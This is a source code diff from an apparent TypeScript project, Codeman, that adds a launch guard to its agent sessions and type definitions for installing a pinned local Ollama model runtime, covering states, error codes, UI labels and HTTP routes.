+  setLaunchGuard(guard: (() => Promise<string | undefined>) | null): void {
+    this._launchGuard = guard;
+  }
+
+  /** Throws the guard's sentence (`LaunchRefusedError`) when a new agent process must not be started now. */
+  private async _assertLaunchAllowed(): Promise<void> {
+    if (!this._launchGuard) return;
+    const refusal = await this._launchGuard();
+    if (refusal) throw new LaunchRefusedError(refusal);
+  }
+
   // Custom Model Endpoint Profiles (docs/custom-model-endpoints-plan.md) — public-safe
   // subset only (never envKeys/configDir/launchModel, the bookkeeping for setCustomModel).
   get customModel(): CustomModelSelection | undefined {
@@ -2635,6 +2669,8 @@ export class Session extends EventEmitter {
     let respawnedResumeId: string | undefined;
     if (this._muxSession && mux.isPaneDead(this._muxSession.muxName)) {
       console.log('[Session] Dead pane detected, respawning:', this._muxSession.muxName);
+      // A new agent process: asked first (see `_launchGuard`). A refusal leaves the pane as it is.
+      await this._assertLaunchAllowed();
       // Confirmed dead — safe to resolve/pin now (see `_pinOmpRespawnId()`).
       // `options.respawnPaneOptions` was built eagerly before this dead-pane
       // check ran, so it still carries the pre-pin ompConfig; rebuild it.
@@ -2689,6 +2725,8 @@ export class Session extends EventEmitter {
           this._resumeSessionId = pinned;
         }
       }
+      // A new agent process: asked first (see `_launchGuard`).
+      await this._assertLaunchAllowed();
       this._muxSession = await mux.createSession(options.createSessionOptions);
       console.log('[Session] Created mux session:', this._muxSession.muxName);
       // No extra sleep — createSession() already waits for tmux readiness
@@ -2808,6 +2846,9 @@ export class Session extends EventEmitter {
       return false;
     }
 
+    // A new agent process: asked first (see `_launchGuard`). A refusal rejects, and the pane
+    // keeps what runs in it.
+    await this._assertLaunchAllowed();
     this._pinOmpRespawnId();
     const newPid = await mux.respawnPane(await this._buildRespawnPaneOptionsWithResumePin());
     if (!newPid) {
@@ -3461,6 +3502,9 @@ export class Session extends EventEmitter {
           this._armPaneSettle(true);
         }
       } catch (err) {
+        // A refused launch is an answer, not a tmux failure: it must not fall through to
+        // the direct PTY below, which would start the very process that was refused.
+        if (err instanceof LaunchRefusedError) throw err;
         if (this._adopt) this._failAdoptedStart(err);
         console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
         this._useMux = false;
@@ -3482,6 +3526,8 @@ export class Session extends EventEmitter {
         throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`);
       }
       if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
+      // A new agent process on this path too: asked first (see `_launchGuard`).
+      await this._assertLaunchAllowed();
       try {
         // Pass --session-id to use the SAME ID as the Codeman session
         // This ensures subagents can be directly matched to the correct tab.
@@ -4485,6 +4531,8 @@ export class Session extends EventEmitter {
           }, 100);
         }
       } catch (err) {
+        // As in startInteractive(): a refused launch never falls back to a direct PTY.
+        if (err instanceof LaunchRefusedError) throw err;
         if (this._adopt) this._failAdoptedStart(err);
         console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
         this._useMux = false;

src/types/index.ts

@@ -29,6 +29,8 @@
  * | plan         | PlanItem, PlanTaskStatus, TddPhase                                    | In-memory → `GET /api/sessions/:id/plan/tasks` |
  * | orchestrator | OrchestratorState, OrchestratorPlan, OrchestratorConfig, OrchestratorPersistState | `~/.codeman/state.json` → `GET /api/orchestrator/status` |
  * | mcp-sync     | McpSyncResult, McpSyncTargetResult                                    | Other CLIs' own config files → `GET`/`POST /api/mcp-sync` |
+ * | local-model  | HardwareFacts, LocalModelCatalog, Candidate, Recommendation, RecommendOptions, LOCAL_MODEL_LABELS | In-memory only (nothing persisted) → `GET /api/local-model` |
+ * | local-model-install | LocalModelStatus, LocalModelInstallView, LocalModelStateFile, LocalModelRuntimePin, LOCAL_MODEL_INSTALL_LABELS | `~/.codeman/local-model.json` → `GET /api/local-model` and its install verbs |
  *
  * ## Cross-domain relationship map
  *
@@ -77,3 +79,5 @@ export * from './webview.js';
 export * from './intent.js';
 export * from './foreign-tmux.js';
 export * from './mcp-sync.js';
+export * from './local-model.js';
+export * from './local-model-install.js';

src/types/local-model-install.ts

@@ -0,0 +1,638 @@
+/**
+ * @fileoverview Types of the local model INSTALL: the runtime pin, the job's states, steps and
+ * error codes, the progress, the `install` object of `GET /api/local-model`, the bodies and
+ * answers of the install verbs, and the shape of the state file.
+ *
+ * The read side (hardware, catalogue, recommendation) is in src/types/local-model.ts. This
+ * file holds `LocalModelStatus`, the whole `data` of the GET, because it joins the two.
+ *
+ * Who produces what:
+ *  - `LocalModelRuntimePin`: a compiled constant in src/local-model/runtime.ts. No file, no
+ *    setting and no request can change which binary is downloaded.
+ *  - `LocalModelStateFile`: src/local-model/state-store.ts, the ONE writer of
+ *    `local-model.json` (mode 0600, temp file + rename).
+ *  - `LocalModelInstallView`: src/local-model/install-job.ts (`buildInstallView()`, pure), from
+ *    the state file plus what is live (the runtime child, the developer tools check).
+ *  - `LocalModelStatus` and the verb answers: src/web/routes/local-model-routes.ts.
+ *
+ * The HTTP contract. Every route is admin only in multi-user mode (403 `FORBIDDEN`) and
+ * EXPERIMENTAL like the GET (docs/versioning-policy.md). Every verb answers
+ * `{ success: true, data: LocalModelInstallView }` with the view AFTER the verb.
+ *
+ * | Route                            | Body                        | Refusals                                              |
+ * |----------------------------------|-----------------------------|-------------------------------------------------------|
+ * | `GET /api/local-model`           | none                        | none (a failed probe is an answer)                    |
+ * | `POST /api/local-model/install`  | `LocalModelInstallRequest`  | 400 not a row the server offers, or a saved endpoint  |
+ * |                                  |                             | already has the reserved id; 409 `job-running`,       |
+ * |                                  |                             | `already-installed`, `size-changed`                   |
+ * | `POST /api/local-model/cancel`   | none                        | 409 `wrong-state` (no job is running)                 |
+ * | `POST /api/local-model/resume`   | `LocalModelResumeRequest`   | 409 `job-running`, `wrong-state` (not paused or       |
+ * |                                  |                             | failed), `sessions-open` (another port while live     |
+ * |                                  |                             | sessions use the model)                               |
+ * | `POST /api/local-model/runtime`  | `LocalModelRuntimeRequest`  | 409 `wrong-state` (not installed), `job-running`,     |
+ * |                                  |                             | `sessions-open` (stop, or another port, while live    |
+ * |                                  |                             | sessions use the model)                               |
+ * | `DELETE /api/local-model`        | `LocalModelRemoveRequest`   | 409 `job-running`, `sessions-open`                    |
+ *
+ * A 409 is the error envelope plus `data: LocalModelConflict`:
+ * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409
+ * WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused
+ * because the file does not parse; `error` names the fix. A 400 the service names carries its
+ * sentence the same way: `{ success: false, error, errorCode: 'INVALID_INPUT', data: {
+ * message } }` (`LocalModelRefusal`), so the window can print it in its own language.
+ *
+ * The rules of src/types/local-model.ts hold here too:
+ *  1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()`
+ *     (`completedGb`, `totalGb`, `downloadGb`). The browser prints the text and adds or
+ *     divides nothing for display. `mbPerSecond` is the one other unit, decimal MB per second.
+ *  2. Every sentence the server chooses comes from `LOCAL_MODEL_INSTALL_LABELS`, with its
+ *     numbers and names in `vars`. `{name}` is taken by the translator, so no slot has that name.
+ *  3. A CLI id is data (`LocalModelInstallView.cli`): the browser passes it on and compares it
+ *     with nothing. What a person reads is `cliLabel`.
+ */
+
+import type { HardwareFacts, Recommendation } from './local-model.js';
+
+// ---------- The runtime pin ----------
+
+/**
+ * The one runtime build Codeman downloads and runs. A compiled constant
+ * (`OLLAMA_RUNTIME_PIN` in src/local-model/runtime.ts): the hash is compared before anything
+ * is unpacked, so the pin and the hash must come from the same reviewed source file.
+ */
+export interface LocalModelRuntimePin {
+  /** The runtime's family. One value today. */
+  id: 'ollama';
+  /** The release ('0.40.15'). `GET /api/version` of the running runtime must answer it. */
+  version: string;
+  /** Where the archive is downloaded from. https, a fixed release asset. */
+  url: string;
+  /** Size of the archive in bytes. A body that grows past it is refused before the hash is finished. */
+  bytes: number;
+  /** Lowercase hex sha256 of the archive. */
+  sha256: string;
+  /** What the unpacked folder takes on disk, in bytes (measured: about 579 MB). */
+  unpackedBytes: number;
+  /** The oldest macOS major version the runtime supports. */
+  minMacosMajor: number;
+}
+
+// ---------- States, steps, codes ----------
+
+/**
+ * Where the install stands. The verb of the flow is the same throughout: install, installing,
+ * installed.
+ *  - `idle`: nothing is installed and no job exists.
+ *  - `installing`: the one job is running; `step` says where.
+ *  - `paused`: the job stopped at `step` because of Cancel or a server restart. It never
+ *    continues without a click.
+ *  - `failed`: the job stopped at `step` with `error`.
+ *  - `installed`: the model is connected. Whether the runtime runs is `running`, not a state.
+ * The state table (what is on disk, what a restart and Cancel do, the allowed actions) is
+ * `INSTALL_STATE_TABLE` in src/local-model/install-job.ts.
+ */
+export type LocalModelInstallState = 'idle' | 'installing' | 'paused' | 'failed' | 'installed';
+
+/**
+ * The steps of a job, in the order they run.
+ *  - `runtime`: get the pinned runtime (download, compare the hash, unpack), start it, read
+ *    the measured memory budget and judge the chosen model against it.
+ *  - `model`: download the model (the runtime's pull).
+ *  - `verify`: load the model and check it: one tiny chat, the memory and context the runtime
+ *    reports, one tool call.
+ *  - `agent`: install the coding agent. Left out of a job whose coding agent is installed.
+ *  - `connect`: save the connection (the endpoint record and the settings flag).
+ */
+export type LocalModelInstallStep = 'runtime' | 'model' | 'verify' | 'agent' | 'connect';
+
+/** Every step, in order. A job runs these, without `agent` when the coding agent is installed. */
+export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [
+  'runtime',
+  'model',
+  'verify',
+  'agent',
+  'connect',
+];
+
+/**
+ * Why a job failed, or (in state `installed`) what blocks a session. Each code has one
+ * sentence (`LOCAL_MODEL_ERROR_LABELS`) and one helpful next step (`LOCAL_MODEL_ERROR_NEXT`).
+ *
+ * | Code                      | Raised when                                                              |
+ * |---------------------------|--------------------------------------------------------------------------|
+ * | `runtime-download-failed` | the archive download still fails after its retries                       |
+ * | `runtime-damaged`         | the archive's sha256 is not the pinned one (the file was deleted)        |
+ * | `runtime-unpack-failed`   | `/usr/bin/tar` failed                                                    |
+ * | `runtime-start-failed`    | the runtime was started and never answered `/api/version`. Installed:    |
+ * |                           | the last start failed (the detail says why), and Start tries again       |
+ * | `runtime-stopped`         | the runtime crashed and was restarted 3 times, then given up: on an      |
+ * |                           | installed model, or during a job's download                             |
+ * | `runtime-not-running`     | installed: the runtime is not running (the person stopped it). Only a    |
+ * |                           | refused session start says it; the view shows no error for a stopped runtime |
+ * | `port-in-use`             | another program listens on the stored port, or no port of the span is free |
+ * | `disk-full`               | a write failed for lack of space                                         |
+ * | `pull-failed`             | the pull still ends on an error line or a cut stream after its retries   |
+ * | `model-not-found`         | the registry no longer has this model under this name                    |
+ * | `does-not-fit`            | the measured budget rules the model out, or the runtime did not put all of it on the GPU |
+ * | `context-not-applied`     | the runtime loaded the model with another context than the chosen one    |
+ * | `load-failed`             | the tiny chat that loads the model failed                                |
+ * | `no-tool-call`            | the tool probe was answered without a tool call with parseable arguments |
+ * | `probe-unfinished`        | the tool probe ended on its token limit, so it proves nothing            |
+ * | `harness-failed`          | the coding agent's install command failed, or its binary is still missing |
+ * | `endpoint-id-taken`       | a saved endpoint with our id exists that this feature did not write      |
+ * | `connect-failed`          | the endpoint record or the settings flag could not be written            |
+ * | `model-changed`           | installed: the model's digest is not the one stored at install time      |
+ * | `internal`                | anything unexpected (the exception text is in `detail`)                  |
+ */
+export type LocalModelErrorCode =
+  | 'runtime-download-failed'
+  | 'runtime-damaged'
+  | 'runtime-unpack-failed'
+  | 'runtime-start-failed'
+  | 'runtime-stopped'
+  | 'runtime-not-running'
+  | 'port-in-use'
+  | 'disk-full'
+  | 'pull-failed'
+  | 'model-not-found'
+  | 'does-not-fit'
+  | 'context-not-applied'
+  | 'load-failed'
+  | 'no-tool-call'
+  | 'probe-unfinished'
+  | 'harness-failed'
+  | 'endpoint-id-taken'
+  | 'connect-failed'
+  | 'model-changed'
+  | 'internal';
+
+/**
+ * The ONE action that helps after an error. The window draws one button for it.
+ *  - `retry`: "Try again". `POST /api/local-model/resume`.
+ *  - `other-port`: "Use another port". `POST /api/local-model/resume` with `newPort: true`
+ *    (state `failed`), or `POST /api/local-model/runtime` with `action: 'start'` and
+ *    `newPort: true` (state `installed`).
+ *  - `next-model`: "Try <model>". Back to the chooser with `error.nextModel` preselected; the
+ *    person confirms its sizes and a new `POST /api/local-model/install` replaces the job.
+ *    Without a `nextModel` the window offers the chooser and Remove.
+ *  - `start`: "Start". `POST /api/local-model/runtime` with `action: 'start'`.
+ *  - `remove`: "Remove". `DELETE /api/local-model`.
+ *
+ * `LOCAL_MODEL_ERROR_NEXT` is the default of a code. The view adapts it to the state the
+ * error is shown in, so the button is always one the server accepts there: a code whose
+ * default is `start` says `retry` on a failed job (there is no Start verb for a job), and
+ * `runtime-start-failed` says `start` on an installed model (there is nothing to resume).
+ */
+export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' | 'remove';
+
+/**
+ * What a client may do in the current state. The view's `actions` lists exactly the ones the
+ * server would accept right now, so the window shows a button only for those.
+ *  - `install`: `POST /api/local-model/install`.
+ *  - `cancel`: `POST /api/local-model/cancel`.
+ *  - `resume`: `POST /api/local-model/resume`.
+ *  - `start` and `stop`: `POST /api/local-model/runtime`.
+ *  - `remove`: `DELETE /api/local-model`.
+ *  - `start-session`: not a route of this feature: the window starts a session on the endpoint
+ *    `endpointId` with the coding agent `cli`. Offered only while the runtime runs and nothing
+ *    blocks a session.
+ */
+export type LocalModelAction = 'install' | 'cancel' | 'resume' | 'start' | 'stop' | 'remove' | 'start-session';
+
+/** Whether the Mac has the developer tools (git, Python) a coding agent calls. */
+export type LocalModelDeveloperTools =
+  /** `/usr/bin/xcode-select -p` succeeded. */
+  | 'present'
+  /** It failed: macOS will offer to install the tools the first time an agent needs one. */
+  | 'missing'
+  /** Not macOS, or the check did not answer in time. Nothing is said then. */
+  | 'unknown';
+
+// ---------- Sentences ----------
+
+/**
+ * Every sentence the server may put into the `install` object or a 409, in English (the i18n
+ * source language). Like `LOCAL_MODEL_LABELS`: the zh-CN dictionary in src/web/public/i18n.js
+ * has one entry per value, keyed by this exact text, and the i18n test lists them from here.
+ * A constant of its own, so the sentences of the recommendation and of the install can be
+ * listed apart.
+ *
+ * | Key                    | Slots (all text)                                                     |
+ * |------------------------|----------------------------------------------------------------------|
+ * | `errPortInUse`         | `port`: the port number                                              |
+ * | `errModelNotFound`, `errDoesNotFit`, `errLoadFailed`, `errNoToolCall`, `errProbeUnfinished` | `model`: the model's label |
+ * | `errContextNotApplied` | `model`; `actual`: the context the runtime reports; `wanted`: the chosen one |
+ * | `errHarnessFailed`     | `cli`: the coding agent's label                                      |
+ * | `errEndpointIdTaken`   | `id`: the endpoint id this feature uses                              |
+ * | `refusedAgentNotInstallable` | `cli`: the coding agent's label                                |
+ * | `refusedOtherModel`    | `model`: the label of the model that is installed                    |
+ * | `conflictSizeChanged`  | `size`: the server's own total as decimal GB                         |
+ * | `conflictSessionsOpen` | `sessions`: the session names, joined with ', '                      |
+ *
+ * `developerToolsMissing` is not sent: the view carries `developerTools` and the window prints
+ * this sentence when it is `missing`. It is here so that its wording has one source.
+ *
+ * `endpointManaged` and `endpointIdReserved` are what the endpoint routes
+ * (src/web/routes/custom-model-routes.ts) answer for the record this feature manages and for
+ * its reserved id. They have no slot, so the App Settings toast that prints them translates
+ * them as it translates every other whole sentence.
+ */
+export const LOCAL_MODEL_INSTALL_LABELS = {
+  errRuntimeDownloadFailed:
+    'The download of the runtime stopped and could not be continued. Check the network connection, then try again.',
+  errRuntimeDamaged: 'The runtime download was damaged and has been deleted. Try again.',
+  errRuntimeUnpackFailed: 'The runtime could not be unpacked on this Mac.',
+  errRuntimeStartFailed: 'The runtime did not start on this Mac.',
+  errRuntimeStopped: 'The runtime keeps stopping, so Codeman no longer restarts it.',
+  errRuntimeNotRunning: 'The model on this Mac is not running. Start it first.',
+  errPortInUse: 'Port {port} is in use by another program.',
+  errDiskFull: 'The disk is full. Free up space, then try again.',
+  errPullFailed: 'The download keeps stopping. The network may be damaging data. Try again or use another network.',
+  errModelNotFound: '{model} is no longer offered under this name. Update Codeman or pick another model.',
+  errDoesNotFit: '{model} does not fit in the memory of this Mac after all.',
+  errContextNotApplied: '{model} loaded with a context of {actual} tokens instead of {wanted}.',
+  errLoadFailed: '{model} did not load on this Mac.',
+  errNoToolCall: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
+  errProbeUnfinished: 'The check of {model} did not finish.',
+  errHarnessFailed: '{cli} could not be installed.',
+  errEndpointIdTaken:
+    'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.',
+  errConnectFailed: 'Codeman could not save the connection to the model.',
+  errModelChanged: 'The model on this Mac changed since it was installed. Remove it and install it again.',
+  errInternal: 'The install stopped on an unexpected error.',
+  conflictJobRunning: 'An install is already running.',
+  conflictAlreadyInstalled: 'A model is already installed on this Mac. Remove it first.',
+  conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.',
+  conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.',
+  conflictWrongState: 'That is not possible in the current state.',
+  refusedModelNotOffered: 'This model at this context is not offered for this Mac right now.',
+  refusedAgentNotOffered: 'This coding agent is not offered for this model.',
+  refusedAgentNotInstallable: '{cli} is not installed and cannot be installed from here.',
+  refusedOtherModel: 'Only {model} is installed on this Mac. Remove it and install another model first.',
+  endpointManaged:
+    'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
+  endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
+  developerToolsMissing:
+    'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.',
+} as const;
+
+/** One of the texts in `LOCAL_MODEL_INSTALL_LABELS`. */
+export type LocalModelInstallLabel = (typeof LOCAL_MODEL_INSTALL_LABELS)[keyof typeof LOCAL_MODEL_INSTALL_LABELS];
+
+/** A sentence of the install: a text from `LOCAL_MODEL_INSTALL_LABELS` plus the values of its `{placeholder}` slots. */
+export interface LocalModelInstallMessage {
+  text: LocalModelInstallLabel;
+  /** Slot values, already formatted as text. Absent when the text has no slot. */
+  vars?: Record<string, string>;
+}
+
+/** The sentence of each error code. */
+export const LOCAL_MODEL_ERROR_LABELS: Record<LocalModelErrorCode, LocalModelInstallLabel> = {
+  'runtime-download-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDownloadFailed,
+  'runtime-damaged': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDamaged,
+  'runtime-unpack-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeUnpackFailed,
+  'runtime-start-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStartFailed,
+  'runtime-stopped': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStopped,
+  'runtime-not-running': LOCAL_MODEL_INSTALL_LABELS.errRuntimeNotRunning,
+  'port-in-use': LOCAL_MODEL_INSTALL_LABELS.errPortInUse,
+  'disk-full': LOCAL_MODEL_INSTALL_LABELS.errDiskFull,
+  'pull-failed': LOCAL_MODEL_INSTALL_LABELS.errPullFailed,
+  'model-not-found': LOCAL_MODEL_INSTALL_LABELS.errModelNotFound,
+  'does-not-fit': LOCAL_MODEL_INSTALL_LABELS.errDoesNotFit,
+  'context-not-applied': LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
+  'load-failed': LOCAL_MODEL_INSTALL_LABELS.errLoadFailed,
+  'no-tool-call': LOCAL_MODEL_INSTALL_LABELS.errNoToolCall,
+  'probe-unfinished': LOCAL_MODEL_INSTALL_LABELS.errProbeUnfinished,
+  'harness-failed': LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed,
+  'endpoint-id-taken': LOCAL_MODEL_INSTALL_LABELS.errEndpointIdTaken,
+  'connect-failed': LOCAL_MODEL_INSTALL_LABELS.errConnectFailed,
+  'model-changed': LOCAL_MODEL_INSTALL_LABELS.errModelChanged,
+  internal: LOCAL_MODEL_INSTALL_LABELS.errInternal,
+};
+
+/** The one helpful next step of each error code. */
+export const LOCAL_MODEL_ERROR_NEXT: Record<LocalModelErrorCode, LocalModelNextStep> = {
+  'runtime-download-failed': 'retry',
+  'runtime-damaged': 'retry',
+  'runtime-unpack-failed': 'retry',
+  'runtime-start-failed': 'retry',
+  'runtime-stopped': 'start',
+  'runtime-not-running': 'start',
+  'port-in-use': 'other-port',
+  'disk-full': 'retry',
+  'pull-failed': 'retry',
+  'model-not-found': 'next-model',
+  'does-not-fit': 'next-model',
+  'context-not-applied': 'retry',
+  'load-failed': 'retry',
+  'no-tool-call': 'next-model',
+  'probe-unfinished': 'retry',
+  'harness-failed': 'retry',
+  'endpoint-id-taken': 'retry',
+  'connect-failed': 'retry',
+  'model-changed': 'remove',
+  internal: 'retry',
+};
+
+// ---------- The `install` object of the GET ----------
+
+/**
+ * How far a download is. Present while the `runtime` step downloads the archive and while the
+ * `model` step pulls, once the total is known; kept on a paused or failed job as it stood.
+ * During the `model` step both byte figures come from the pull's own lines, never from the
+ * catalogue.
+ */
+export interface LocalModelProgress {
+  completedBytes: number;
+  totalBytes: number;
+  /** `completedBytes` as decimal GB text, no unit ('6.2'). */
+  completedGb: string;
+  /** `totalBytes` as decimal GB text, no unit ('23.1'). */
+  totalGb: string;
+  /** Download speed. Absent until it can be told (the first moments, a paused job). */
+  bytesPerSecond?: number;
+  /** `bytesPerSecond` as whole decimal megabytes per second, no unit ('58'). Present exactly when `bytesPerSecond` is. */
+  mbPerSecond?: string;
+  /** Seconds left at the current speed, rounded up. Absent when the speed is unknown or 0. */
+  secondsLeft?: number;
+}
+
+/** An error as the window shows it: the sentence, the one action that helps, and the raw detail. */
+export interface LocalModelInstallError {
+  code: LocalModelErrorCode;
+  /** `LOCAL_MODEL_ERROR_LABELS[code]` with its slots filled. */
+  message: LocalModelInstallMessage;
+  /** `LOCAL_MODEL_ERROR_NEXT[code]`, adapted to the state the error is shown in (see `LocalModelNextStep`). */
+  next: LocalModelNextStep;
+  /**
+   * For `next-model`: the model to try instead. After `does-not-fit` it is one that needs LESS
+   * memory than the one that failed; after the other codes the best other model that fits.
+   * Absent when there is none.
+   */
+  nextModel?: { modelId: string; modelLabel: string };
+  /**
+   * Raw text for the person who wants to know more: the last lines of an installer, the
+   * message of a refused write, an exception. Not translated; printed with `textContent`.
+   */
+  detail?: string;
+}
+
+/** The model of the job or of the installation. */
+export interface LocalModelInstalledModel {
+  /** `LocalModelEntry.id`. */
+  id: string;
+  /** `LocalModelEntry.label`. */
+  label: string;
+}
+
+/** The runtime, as the consent screen needs it. */
+export interface LocalModelRuntimeView {
+  /** `LocalModelRuntimePin.version`. */
+  version: string;
+  /** The pinned runtime is unpacked on disk. Then an install downloads only the model. */
+  installed: boolean;
+  /** What an install would download for the runtime: the archive size, 0 when `installed`. */
+  downloadBytes: number;
+  /** `downloadBytes` as decimal GB text, no unit ('0.2'). */
+  downloadGb: string;
+  /** What the unpacked runtime takes on disk, as decimal GB text, no unit ('0.6'). */
+  unpackedGb: string;
+}
+
+/** What the runtime reported about the loaded model when the job checked it. The facts of the Done line. */
+export interface LocalModelLoadedFacts {
+  /** The context length in tokens the runtime loaded the model with. */
+  context: number;
+  /** Memory the loaded model took, in bytes (`size` of the runtime's process list). */
+  memoryBytes: number;
+  /** `memoryBytes` as decimal GB text, no unit. */
+  memoryGb: string;
+  /** All of it is on the GPU (`size_vram` equals `size`). Always true after a job that passed. */
+  onGpu: boolean;
+}
+
+/**
+ * The `install` object of `GET /api/local-model`: where the install stands and what can be
+ * done about it. The window polls it once a second while it is open; there is no SSE event.
+ *
+ * Which members are present, by state:
+ *
+ * | Member                            | idle | installing | paused | failed | installed |
+ * |-----------------------------------|------|------------|--------|--------|-----------|
+ * | `step`, `steps`                   |      | yes        | yes    | yes    |           |
+ * | `progress`                        |      | during a download | as it stood, when known | as it stood, when known | |
+ * | `error`                           |      |            |        | yes    | only when something blocks a session |
+ * | `model`, `cli`, `cliLabel`, `context` |  | yes        | yes    | yes    | yes       |
+ * | `port`                            |      | once chosen | once chosen | once chosen | yes |
+ * | `loaded`, `endpointId`            |      |            |        |        | yes       |
+ *
+ * `running`, `developerTools`, `runtime`, `folder` and `actions` are always present.
+ */
+export interface LocalModelInstallView {
+  state: LocalModelInstallState;
+  /** The step the job is in, or stopped in. */
+  step?: LocalModelInstallStep;
+  /** The steps of THIS job in order, for the step list (`agent` is absent when the coding agent was already installed). */
+  steps?: LocalModelInstallStep[];
+  progress?: LocalModelProgress;
+  error?: LocalModelInstallError;
+  model?: LocalModelInstalledModel;
+  /** The coding agent: a CLI registry id, as data. */
+  cli?: string;
+  /** The coding agent's display label ('OpenCode'). */
+  cliLabel?: string;
+  /** The context length in tokens the runtime is started with. */
+  context?: number;
+  /** The loopback port of the runtime. */
+  port?: number;
+  /** The runtime child Codeman started is alive right now. */
+  running: boolean;
+  developerTools: LocalModelDeveloperTools;
+  runtime: LocalModelRuntimeView;
+  /** The absolute folder everything of this feature is kept in, for the "where it goes" line. */
+  folder: string;
+  loaded?: LocalModelLoadedFacts;
+  /** The id of the saved endpoint a session is started on. */
+  endpointId?: string;
+  /** What the server accepts right now, see `LocalModelAction`. */
+  actions: LocalModelAction[];
+}
+
+/** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */
+export interface LocalModelStatus {
+  hardware: HardwareFacts;
+  recommendation: Recommendation;
+  /** `LocalModelCatalog.updated`. */
+  catalogUpdated: string;
+  /** Where the install stands. Always present. */
+  install: LocalModelInstallView;
+}
+
+// ---------- Request bodies and answers ----------
+
+/**
+ * Body of `POST /api/local-model/install`. The three choices must name a row the server offers
+ * right now: a model of `recommendation.pick` or `recommendation.alternatives`, at that
+ * candidate's `context`, with one of its `harnesses`. Anything else is a 400 before any
+ * download.
+ */
+export interface LocalModelInstallRequest {
+  /** `Candidate.modelId`. */
+  modelId: string;
+  /** `CandidateHarness.cli`. */
+  cli: string;
+  /** `Candidate.context`. */
+  context: number;
+  /**
+   * The total the person saw and confirmed: `Candidate.installBytes`. The server compares it
+   * with its own total and answers 409 `size-changed` when they differ, so a consent is bound
+   * to the size that was shown.
+   */
+  acknowledgedBytes: number;
+}
+
+/** Body of `POST /api/local-model/resume`. May be absent or empty. */
+export interface LocalModelResumeRequest {
+  /** True: choose another port first (the answer to `port-in-use`). */
+  newPort?: boolean;
+}
+
+/** Body of `POST /api/local-model/runtime`. */
+export interface LocalModelRuntimeRequest {
+  /** `stop` also keeps the runtime from being started at the next boot; `start` undoes that. */
+  action: 'start' | 'stop';
+  /** With `start`: choose another port first (the answer to `port-in-use`), and move the saved endpoint to it. */
+  newPort?: boolean;
+}
+
+/** Body of `DELETE /api/local-model`. May be absent or empty. */
+export interface LocalModelRemoveRequest {
+  /** True: delete the downloaded model too. Default false: the model stays for a later install. */
+  removeModel?: boolean;
+}
+
+/** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */
+export interface LocalModelRefusal {
+  message: LocalModelInstallMessage;
+}
+
+/** What every verb answers on success: the view after the verb. */
+export type LocalModelVerbAnswer = LocalModelInstallView;
+
+/**
+ * Why a verb was refused with 409.
+ *  - `job-running`: a job is running (a second install, a resume, a remove or a runtime action).
+ *  - `already-installed`: install while a model is installed. Remove it first.
+ *  - `size-changed`: `acknowledgedBytes` is not the server's total; `expectedBytes` and
+ *    `expectedGb` carry that total, so the window can show it and ask again.
+ *  - `sessions-open`: remove, stop or a change of port while live sessions use the endpoint;
+ *    `sessions` names them. Their coding agents were given the runtime's address when they
+ *    started, so they would go on calling a port nothing of ours holds.
+ *  - `wrong-state`: the verb makes no sense in the current state (see the route table above).
+ */
+export type LocalModelConflictReason =
+  | 'job-running'
+  | 'already-installed'
+  | 'size-changed'
+  | 'sessions-open'
+  | 'wrong-state';
+
+/** The `data` of a 409 of an install verb. */
+export interface LocalModelConflict {
+  reason: LocalModelConflictReason;
+  /** The sentence for the window (`conflict...` of `LOCAL_MODEL_INSTALL_LABELS`). */
+  message: LocalModelInstallMessage;
+  /** `size-changed`: the server's own total in bytes. */
+  expectedBytes?: number;
+  /** `size-changed`: `expectedBytes` as decimal GB text, no unit. */
+  expectedGb?: string;
+  /** `sessions-open`: the names of the live sessions that use the endpoint. */
+  sessions?: string[];
+}
+
+// ---------- The state file ----------
+
+/**
+ * `local-model.json` in the data dir: everything that must survive a restart. Mode 0600,
+ * written through a temp file and a rename, by src/local-model/state-store.ts alone.
+ *
+ * Rules:
+ *  - It holds NO path. Every path of this feature is built from `dataPath()` constants
+ *    (`localModelPaths()`), so a state file can never point a delete somewhere else.
+ *  - Reading is total: a missing file, a file that does not parse or one with another `schema`
+ *    reads as `{ schema: 1, state: 'idle' }`.
+ *  - A file read at boot with state `installing` is a job a restart interrupted: it becomes
+ *    `paused` before anything else looks at it.
+ */
+export interface LocalModelStateFile {
+  schema: 1;
+  state: LocalModelInstallState;
+  /** The step the job is in or stopped in. Absent in `idle` and `installed`. */
+  step?: LocalModelInstallStep;
+  /** The steps of the job, in order. Absent in `idle` and `installed`. */
+  steps?: LocalModelInstallStep[];
+  /** State `failed`: why. State `installed`: absent (a blocking problem is found live, never stored). */
+  error?: {
+    code: LocalModelErrorCode;
+    /** The slot values of the code's sentence. */
+    vars?: Record<string, string>;
+    detail?: string;
+    /** For a `next-model` code: the model to offer, when the job knew one. */
+    nextModelId?: string;
+  };
+  /** The model of the job or of the installation. */
+  model?: {
+    id: string;
+    label: string;
+    /** The context length in tokens the person chose. */
+    context: number;
+    /** The total the pull reported, once known. */
+    pullBytes?: number;
+    /** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */
+    digest?: string;
+  };
+  /**
+   * The model of the job this one replaced, when it was another model: what that job left in
